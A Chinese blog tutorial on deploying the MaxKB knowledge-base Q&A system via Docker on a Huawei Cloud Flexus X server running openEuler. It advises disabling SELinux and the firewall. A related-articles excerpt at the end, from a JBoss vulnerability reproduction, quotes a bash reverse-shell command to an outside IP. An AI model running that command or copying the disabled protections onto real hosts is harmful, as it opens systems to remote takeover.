当前位置: 首页 > news >正文

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统

  • 前言
  • 一、Flexus云服务器X实例介绍
    • 1.1 Flexus云服务器X实例简介
    • 1.2 Flexus云服务器X实例特点
    • 1.3 Flexus云服务器X实例使用场景
  • 二、MaxKB 介绍
    • 2.1 MaxKB简介
    • 2.2 MaxKB整体架构
    • 2.3 MaxKB主要特点
    • 2.4 主要使用场景
  • 三、本次实践介绍
    • 3.1 本次实践简介
    • 3.2 部署要求
    • 3.3 本次环境规划
  • 四、购买华为云Flexus云服务器X实例
    • 4.1 登录华为云
    • 4.2 进入Flexus云服务器X实例购买页面
    • 4.3 购买Flexus云服务器X实例配置
    • 4.4 使用Xshell远程连接
  • 五、检查Docker环境
    • 5.1 检查操作系统版本
    • 5.2 检查内核版本
    • 5.3 检查Docker版本
    • 5.4 检查Docker服务状态
    • 5.5 检查Docker compose版本
  • 六、部署MaxKB系统
    • 6.1 拉取MaxKB镜像
    • 6.2 创建部署目录
    • 6.3 创建MaxKB容器
    • 6.4 检查MaxKB容器状态
    • 6.5 检查MaxKB容器日志
  • 七、访问前准备工作
    • 7.1 关闭selinux和防火墙
    • 7.2 Flexus云服务器X实例安全组配置
  • 八、访问MaxKB服务
    • 8.1 访问MaxKB初始页
    • 8.2 登录MaxKB
  • 九、MaxKB配置工作
    • 9.1 进入模型设置页面
    • 9.2 查询供应商API Key信息
    • 9.3 选择模型
    • 9.4 创建知识库
    • 9.5 上传文档
    • 9.6 创建应用
  • 十、使用体验与总结

前言


在数字化转型的大潮中,华为云以其卓越的技术实力和稳定的服务表现,成为了众多企业和开发者信赖的云服务提供商。华为云Flexus云服务器X实例,凭借其柔性算力和高性价比,特别适合中小企业及个人开发者快速构建高效、灵活的应用环境。本文将详细介绍如何利用华为云Flexus云服务器X实例搭建基于openEuler系统的MaxKB开源知识库问答系统,为企业内部的知识管理和信息检索注入新的活力。


一、Flexus云服务器X实例介绍

1.1 Flexus云服务器X实例简介

  • 官网地址: 华为云Flexus云服务器X实例

华为云Flexus云服务器X实例是新一代面向中小企业和开发者的柔性算力云服务器。它能够智能感知业务负载的变化,自动调整资源配置。这款服务器特别适用于中低负载的应用场景,例如电商直播、企业网站建设、开发测试环境、游戏服务器以及音视频服务等。X实例的设计理念旨在为用户提供更加灵活和高效的计算资源管理方式。通过智能调整,它可以更好地满足不同业务的需求,提高资源利用率。

在这里插入图片描述

1.2 Flexus云服务器X实例特点

  • 提供丰富的公共镜像:Flexus云服务器X实例提供多种公共镜像供用户选择,方便快速部署各种应用和服务。

  • 可灵活自定义vCPU内存配比:用户可以根据自己的需要灵活调整虚拟CPU和内存的配比,以满足不同场景的需求。

  • 智能感知业务动态升降配:Flexus云服务器X实例能够智能感知业务的负载情况,并根据需要自动升降配,以满足业务的需求,提高系统的稳定性和性能。

  • 负载范围更高:相对于Flexus应用服务器L实例,Flexus云服务器X实例能够处理更高的负载,适用于更复杂和繁忙的场景。

1.3 Flexus云服务器X实例使用场景

Flexus云服务器X实例针对不同的使用场景展现出其独特的优势:

  1. 电商直播:利用X实例搭建电商交易平台,可以有效应对电商市场的瞬息万变,从容处理业务压力波动,确保交易过程顺畅无阻。

  2. 企业建站:面向博客、论坛和企业门户等应用场景,X实例帮助企业高效传播价值信息,促进信息共享与交流,支持构建多功能传播和交互平台。

  3. 个人开发测试:开发者在开发和测试过程中所需的环境资源可以通过X实例便捷获取,不仅提高了搭建效率,而且降低了成本。

  4. 游戏服务器:适用于搭建游戏后台服务器,强大的计算能力可以轻松应对大量玩家同时在线的情况,同时支持平滑扩容,快速应对玩家数量增长的需求,以及提供出色的网络加速能力以提升用户体验。

二、MaxKB 介绍

2.1 MaxKB简介

MaxKB 是一个基于大语言模型(LLM)构建的开源知识库问答系统,专为提升企业内部的知识管理和信息检索效率而设计。通过集成先进的人工智能技术,MaxKB 能够理解自然语言查询,并从庞大的知识库中快速准确地提取相关信息,从而帮助企业员工更高效地获取所需的知识和答案。

2.2 MaxKB整体架构

  • MaxKB整体架构如下所示:

在这里插入图片描述

2.3 MaxKB主要特点

  • 智能化搜索:利用深度学习算法解析用户提问的真实意图,实现语义层面的匹配,而非简单的关键词匹配。
  • 多源数据接入:支持多种格式的数据导入,包括文档、网页、数据库等,确保企业内外部的各种知识资源能够被充分利用。
  • 自定义知识库:允许根据企业的具体需求定制化创建或扩展知识库内容,灵活适应不同行业背景下的特殊要求。
  • 持续学习与优化:随着使用频率增加,系统能够不断积累经验并自我改进,提高回答问题的准确性与时效性。
  • 易于集成:提供API接口及插件机制,方便与其他IT系统如CRM、ERP等进行无缝对接,形成统一的信息服务平台。
  • 安全性保障:重视用户隐私保护,采用加密传输协议,并且可以设置访问权限控制,确保敏感资料的安全。

2.4 主要使用场景

  • 客户服务:作为在线客服助手,自动响应客户咨询,减少人工客服的工作负担,同时保证24/7的服务可用性。
  • 内部培训:为企业新员工提供自助式学习平台,涵盖公司政策、工作流程等多个方面,加速其融入过程。
  • 技术支持:针对IT部门遇到的技术难题给出专业解答,辅助故障排查和技术文档查阅。
  • 产品推广:向潜在客户提供详细的产品介绍和服务说明,增强销售转化率。
  • 决策支持:通过对历史数据分析总结出有价值的趋势洞察,帮助管理层做出更加明智的战略规划。

三、本次实践介绍

3.1 本次实践简介

1.本次实践为个人测试学习环境,旨在快速部署应用,生产环境请谨慎;
2.本次实践环境为华为云Flexus云服务器X实例,使用的操作系统为| openEuler;
3.本次实践在Docker环境下搭建MaxKB开源知识库问答系统。

3.2 部署要求

部署服务器要求:

  • 操作系统:Ubuntu 22.04 / CentOS 7.6 64 位系统
  • CPU/内存:2C/4GB 以上
  • 磁盘空间:100GB

3.3 本次环境规划

服务器类别公共镜像选择内网IP地址Docker版本操作系统版本
华为云Flexus云服务器X实例openEuler192.168.0.16926.1.3openEuler 22.03 LTS

四、购买华为云Flexus云服务器X实例

4.1 登录华为云

进入华为云官网:https://activity.huaweicloud.com/,登录自己的华为云账号,进入华为云首页。

在这里插入图片描述
在这里插入图片描述

4.2 进入Flexus云服务器X实例购买页面

我们在华为云官网首页,精选推荐模块中,可以看到Flexus云服务器X实例,点击进入Flexus云服务器X实例主页。

在这里插入图片描述
在这里插入图片描述

点击页面中的“购买”选项,进入Flexus云服务器X实例购买页面。

在这里插入图片描述

4.3 购买Flexus云服务器X实例配置

  • 镜像选择:本次实践使用openEuler作为公共镜像,请根据实际需求自定义选择合适的操作系统镜像。
  • 镜像切换说明:参考的公共镜像原为Huawei Cloud EulerOS,但本次实践中已切换至openEuler。
  • 基础配置参考:购买时可参考以下基础配置进行选择。
项目配置说明
计费模式包年/包月
区域华北—北京四,可用区:随机即可
实例规格关闭性能模式,选择自定义,4vCPUs | 12GiB
镜像公共镜像,openEuler,版本:openEuler 2.0 Standard 64 bit (10GiB)
应用加速不加速
存储系统盘,通用型SSD 100G
网络选择默认即可
安全组选择默认即可
弹性公网IP选择“现在购买”,全动态BGP,带宽3Mbit/s
云服务器名称可自定义设置,这里选择默认的名称
登录凭证自定义设置密码
云备份暂不购买
  • 确认配置及购买:在确认配置页面仔细检查Flexus云服务器X实例的各项设置,确保无误后点击“立即购买”,完成付款流程即可成功购买。

在这里插入图片描述

4.4 使用Xshell远程连接

进入华为云Flexus云服务的控制台,选择Flexus云服务器X实例,可以看到已经正在运行的Flexus云服务器X实例。

在这里插入图片描述

  • 复制Flexus云服务器X实例的弹性公网IP地址

在这里插入图片描述

  • 主要填写Flexus云服务器X实例的弹性公网IP地址,输入其登录用户和密码,连接即可。

在这里插入图片描述

在这里插入图片描述

五、检查Docker环境

5.1 检查操作系统版本

检查Flexus云服务器X实例的操作系统版本,本次实践选择的版本为openEuler 22.03 LTS

[root@flexusx-51a1 ~]# cat /etc/os-release
NAME="openEuler"
VERSION="22.03 LTS"
ID="openEuler"
VERSION_ID="22.03"
PRETTY_NAME="openEuler 22.03 LTS"
ANSI_COLOR="0;31"

5.2 检查内核版本

检查当前操作系统的内核版本,当前内核版本为5.10.0-60.139.0.166.oe2203.x86_64

[root@flexusx-51a1 ~]# uname -r
5.10.0-60.139.0.166.oe2203.x86_64

5.3 检查Docker版本

部署该项目需要提前安装Docker环境,检查Docker版本,当前安装的Docker版本为 26.1.3

[root@flexusx-51a1 ~]# docker -v
Docker version 26.1.3, build b72abbb

5.4 检查Docker服务状态

检查Docker服务状态,确保Docker服务正常。

[root@flexusx-51a1 ~]# systemctl status docker
● docker.service - Docker Application Container EngineLoaded: loaded (/usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled)Active: active (running) since Mon 2024-09-23 20:27:32 CST; 12min ago
TriggeredBy: ● docker.socketDocs: https://docs.docker.comMain PID: 18484 (dockerd)Tasks: 10Memory: 240.2MCGroup: /system.slice/docker.service└─ 18484 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

5.5 检查Docker compose版本

检查docker compose版本,当前默认安装版本为v2.27.0

[root@flexusx-51a1 ~]# docker compose version
Docker Compose version v2.27.0

六、部署MaxKB系统

6.1 拉取MaxKB镜像

执行以下命令,拉取MaxKB镜像,镜像名称:cr2.fit2cloud.com/1panel/maxkb:latest

[root@flexusx-51a1 ~]# docker pull cr2.fit2cloud.com/1panel/maxkb
Using default tag: latest
latest: Pulling from 1panel/maxkb
Digest: sha256:d1211d7915d949a7a1a412ea4ec5f34942b8278f83a7333c9fa8d8027630a23e
Status: Image is up to date for cr2.fit2cloud.com/1panel/maxkb:latest
cr2.fit2cloud.com/1panel/maxkb:latest

6.2 创建部署目录

在命令行终端上,我们需要创建部署目录/data/maxkb

mkdir -p /data/maxkb && cd /data/maxkb

6.3 创建MaxKB容器

  • 可参考以下docker-cli命令,快速创建MaxKB容器。
docker run -d --name=maxkb -p 8080:8080 -v ~/.maxkb:/var/lib/postgresql/data -v ~/.python-packages:/opt/maxkb/app/sandbox/python-packages cr2.fit2cloud.com/1panel/maxkb

本次实践使用docker compose方式部署MaxKB应用,编辑docker-compose.yaml文件,可自行修改映射端口部分。

vim docker-compose.yaml

version: '3.9'
services:1panel:image: cr2.fit2cloud.com/1panel/maxkbvolumes:- '~/.python-packages:/opt/maxkb/app/sandbox/python-packages'- '~/.maxkb:/var/lib/postgresql/data'ports:- '8080:8080'container_name: maxkb

执行以下命令,使用docker-compose.yaml文件创建MaxKB服务。

docker compose up -d

在这里插入图片描述

6.4 检查MaxKB容器状态

检查MaxKB容器状态,确保MaxKB容器正常启动。

[root@flexusx-51a1 maxkb]# docker compose ps
WARN[0000] /data/maxkb/docker-compose.yaml: `version` is obsolete
NAME      IMAGE                            COMMAND                  SERVICE   CREATED          STATUS          PORTS
maxkb     cr2.fit2cloud.com/1panel/maxkb   "bash -c /usr/bin/ru…"   1panel    33 seconds ago   Up 33 seconds   5432/tcp, 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp

6.5 检查MaxKB容器日志

检查MaxKB容器运行日志,确保MaxKB服务正常运行。

docker compose logs

在这里插入图片描述

七、访问前准备工作

7.1 关闭selinux和防火墙

  • 关闭selinux
setenforce 0
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
  • 停止防火墙
systemctl stop firewalld
systemctl disable firewalld

7.2 Flexus云服务器X实例安全组配置

进入Flexus云服务器X实例控制台,进行安全组规则配置。

在这里插入图片描述

入方向上放行8080端口,确认配置即可。

在这里插入图片描述

八、访问MaxKB服务

8.1 访问MaxKB初始页

浏览器访问地址:http://服务器IP地址:8080,将IP替换为自己云服务器弹性公网IP地址。浏览器打开后,进入MaxKB登录页。

在这里插入图片描述

8.2 登录MaxKB

  • 默认登录信息
  • 用户名:admin
  • 默认密码:MaxKB@123…
  • 第一次登录,会自动提示修改登录密码,自定义修改即可。
    在这里插入图片描述

在这里插入图片描述

九、MaxKB配置工作

9.1 进入模型设置页面

登录 MaxKB 系统后,可以在【系统管理-模型设置】中添加模型,也可以在创建应用时再添加模型。

在这里插入图片描述

9.2 查询供应商API Key信息

我们此次选择的供应商为义千问大模型,登录其官网。在DashScope灵积模型服务控制台->API Key管理中获取。

在这里插入图片描述

9.3 选择模型

在模型设置的供应商列表中,我们选择通义千问,点击“添加模型”。

在这里插入图片描述

  • 模型名称:MaxKB 中自定义的模型名称。
  • 模型类型:大语言模型。
  • 基础模型:供应商的 LLM 模型,支持自定义输入,下拉选项是常用的一些大语言模型。
  • API Key:需要在阿里云->DashScope灵积模型服务->API Key管理中获取。

在这里插入图片描述
在这里插入图片描述

9.4 创建知识库

打开【知识库】页面,点击【创建知识库】,进入创建知识库页面。

在这里插入图片描述

输入知识库名称、知识库描述、选择通用型知识库类型。 根据如下图所示,自定义填写即可。

在这里插入图片描述

9.5 上传文档

上传本地文件,上传完毕后,确认“下一步”。

  • 上传文档要求:
  • 支持文本文件格式为:Markdown、TXT、PDF、DOCX、HTML;
  • 支持 QA 问答对格式为:Excel、CSV;
  • 每次最多上传 50 个文件;
  • 每个文件不超过 100 MB;
  • 支持选择文件夹,上传文件夹下符合要求的文件。
  • 文档规范建议:
  • 规范分段标识:离线文档的分段标识要有一定规范,否则拆分出来的段落会不规整。
  • 段落要完整:一个分段中最好能描述一个完整的功能点或问题。

在这里插入图片描述

点击“开始导入”,其余配置默认即可。

在这里插入图片描述

查看文件状态,当如下图所示,文件状态显示为“成功”时候,则文档导入成功。

在这里插入图片描述

9.6 创建应用

点击【创建应用】,输入应用名称,选择【简易配置应用】,点击【创建】。

在这里插入图片描述

在这里插入图片描述

  • 应用创建完成,进入简易配置应用的设置页面,左侧为应用信息,右侧为调试预览界面。
设置项说明
应用名称用户提问时对话框的标题和名字。
应用描述对应用场景及用途的描述,帮助用户理解该应用的功能与价值。
AI模型在【系统设置】-【模型管理】中添加的大语言模型作为支持此应用的智能引擎。
提示词系统默认提供智能知识库的提示词,用户可以自定义这些提示词来引导大模型聊天的方向。
多轮对话- 开启:当用户提问时,将携带用户在当前会话中的最后3个问题。
- 关闭:仅向大模型提交当前问题。
关联知识库用户提问后会在关联的知识库中进行分段检索,找到最相关的答案。
开场白用户打开对话时,系统弹出的问候语。支持Markdown格式;[-]后的内容为快捷问题,一行一个。
问题优化- 开启:对用户提出的问题先进行一次LLM优化处理,提高检索知识库的准确度。
- 关闭:直接检索。
  • 调试预览
  • 完成上述设置后,可以在右侧调试预览中进行提问预览。
  • 调试预览中的提问内容不会计入正式的对话日志,方便测试和调整应用配置。

在这里插入图片描述

十、使用体验与总结

通过在华为云Flexus云服务器X实例上搭建基于openEuler系统的MaxKB开源知识库问答系统,我们深刻体验到了华为云的强大性能和稳定性。整个部署过程流畅无阻,Flexus云服务器X实例的柔性算力确保了系统能够高效处理复杂的自然语言查询任务。实践证明,华为云不仅提供了卓越的技术支持,还极大地简化了运维工作,使得中小企业和开发者能够轻松构建和管理高性能的应用。此外,华为云的高可用性和安全性进一步增强了我们对系统的信心,为企业的知识管理和信息检索带来了显著的效率提升。总体而言,华为云Flexus云服务器X实例展现了其在现代云计算环境中的出色表现,是企业数字化转型的理想选择。


在华为云828 B2B企业节期间,Flexus X实例推出了重磅优惠活动。华为云凭借其顶级的云服务和卓越的性能稳定性,成为推动企业业务增长的理想选择。我们诚挚邀请各行各业的企业加入华为云大家庭,共同见证技术革新带来的无限可能。让我们携手并进,共同开创云端的辉煌未来,共享科技进步所带来的丰硕成果。


在这里插入图片描述

相关文章:

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统 前言一、Flexus云服务器X实例介绍1.1 Flexus云服务器X实例简介1.2 Flexus云服务器X实例特点1.3 Flexus云服务器X实例使用场景 二、MaxKB 介绍2.1 MaxKB简介2.2 MaxKB整体架构…...

[Linux]:信号(上)

✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 信号的引入 1.1 信号的概念 在Linux系统中,信号(…...

浙大数据结构:05-树9 Huffman Codes

这道题难度挺大,写起来较为费劲,这里我依然使用了STL库,使得代码量大幅减少不过百行,便于大家理解。 机翻: 1、条件准备 数组存储字符对应频率,n,student存储输入多少字符,有多少学生测试。 …...

scrapy爬虫基础

一、初识 创建项目: scrapy startproject my_one_project # 创建项目命令 cd my_one_project # 先进去, 后面在里面运行 运行爬虫命令为:scrapy crawl tk spiders下创建test.py 其中name就是scrapy crawl tk &…...

利用H5无插件播放RTSP流的实现方案

文章目录 0. 引言1. 问题分析1.1 RTSP流与浏览器的兼容性1.2 解决思路 2. 方案设计2.1 总体架构2.2 关键组件 3. 实施步骤3.1 环境准备3.2 安装与配置3.2.1 安装FFmpeg3.2.2 安装OpenResty3.2.3 添加nginx-rtmp-module模块3.2.4 配置OpenResty 3.3 推流操作3.4 前端播放3.4.1 引…...

CSS文本格式化

通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等,CSS 中常用的文本属性如下所示: text-align:设置文本的水平对齐方式;text-decoration:设置文本的装饰;te…...

python的 __name__和__doc__属性

__name__属性 __name__属性 用于判断当前模块是不是程序入口,如果当前程序正在使用,__name__的值为__main__。 在编写程序时,通常需要给每个模块添加条件语句,用于单独测试该模块的功能。 每个模块都有一个名称,当一…...

Go语言中的Mutex实现探讨

解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在并发编程中,互斥锁(Mutex)是一个重要的工具,它帮助我们控制多个协程对共享资源的访问,从而防止数据竞争和不一致性。本文将深入探讨Go语言中Mutex的实现历程和使用方式,同时分享在处理并发问题时的思路与…...

第五届计算机科学与管理科技国际学术会议(ICCSMT 2024)

梁哲,同济大学长聘特聘教授,国家杰青、首届国家杰青延续项目获得者、上海市曙光学者、上海市优秀学术带头人。本科毕业于新加坡国立大计算机工程系、硕士毕业于新加坡国立大学工业与系统工程系、博士毕业于美国新泽西州立大学工业工程系。理论研究主要集…...

【machine learning-13-线性回归的向量化】

向量化 向量化简洁并行计算 向量化 线性回归的向量化表示如下,其中w 和 x 都分别加了箭头表示这是个向量,后续不加也可以表示为向量,w和x点乘加上b,就构成了多元线性回归的表达方式,如下: 那么究竟为什么…...

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧

日期:2024年9月9日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对…...

MATLAB绘图基础9:多变量图形绘制

参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素: 横轴( X {\rm X} X轴):表示数据集中的一个变量&#xff0c…...

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...

每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵

《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump,如下图: 比起最简单的电荷泵,主要好处是UP和DN开关离输出节点较远,因此一定程度…...

低代码开发平台:未来五大发展趋势预测

在数字化转型的浪潮中,低代码开发平台正迅速崛起,成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长,低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...

国内AI大模型,这篇文章说透了

探索国内顶尖AI企业及其创新产品。 人工智能(AI)的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现,不断拓宽着人类智慧的边界。 国内AI发展迅猛,不仅在理论研究上…...

3.4 爬虫实战-爬去智联招聘职位信息

课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...

Java 之注解详解

Java 注解(Annotation)自 Java 5 版本引入,为代码提供了强大的元数据支持。它们如同代码中的标记,能够被编译器、工具和运行时环境识别,赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解&#xff1a…...

计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)

往期热门项目回顾: 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...

【Spring Cloud】Spring Cloud 概述

Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...

国防科技大学计算机基础课程笔记02信息编码

1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制,因此这个了16进制的数据既可以翻译成为这个机器码,也可以翻译成为这个国标码,所以这个时候很容易会出现这个歧义的情况; 因此,我们的这个国…...

日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする

日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...

大型活动交通拥堵治理的视觉算法应用

大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...

理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端

🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...

Python爬虫实战:研究feedparser库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

Frozen-Flask :将 Flask 应用“冻结”为静态文件

Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是:将一个 Flask Web 应用生成成纯静态 HTML 文件,从而可以部署到静态网站托管服务上,如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...

【决胜公务员考试】求职OMG——见面课测验1

2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...

Java 二维码

Java 二维码 **技术&#xff1a;**谷歌 ZXing 实现 首先添加依赖 <!-- 二维码依赖 --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.5.1</version></dependency><de…...

Spring AI Chat Memory 实战指南:Local 与 JDBC 存储集成

一个面向 Java 开发者的 Sring-Ai 示例工程项目&#xff0c;该项目是一个 Spring AI 快速入门的样例工程项目&#xff0c;旨在通过一些小的案例展示 Spring AI 框架的核心功能和使用方法。 项目采用模块化设计&#xff0c;每个模块都专注于特定的功能领域&#xff0c;便于学习和…...

若依登录用户名和密码加密

/*** 获取公钥&#xff1a;前端用来密码加密* return*/GetMapping("/getPublicKey")public RSAUtil.RSAKeyPair getPublicKey() {return RSAUtil.rsaKeyPair();}新建RSAUti.Java package com.ruoyi.common.utils;import org.apache.commons.codec.binary.Base64; im…...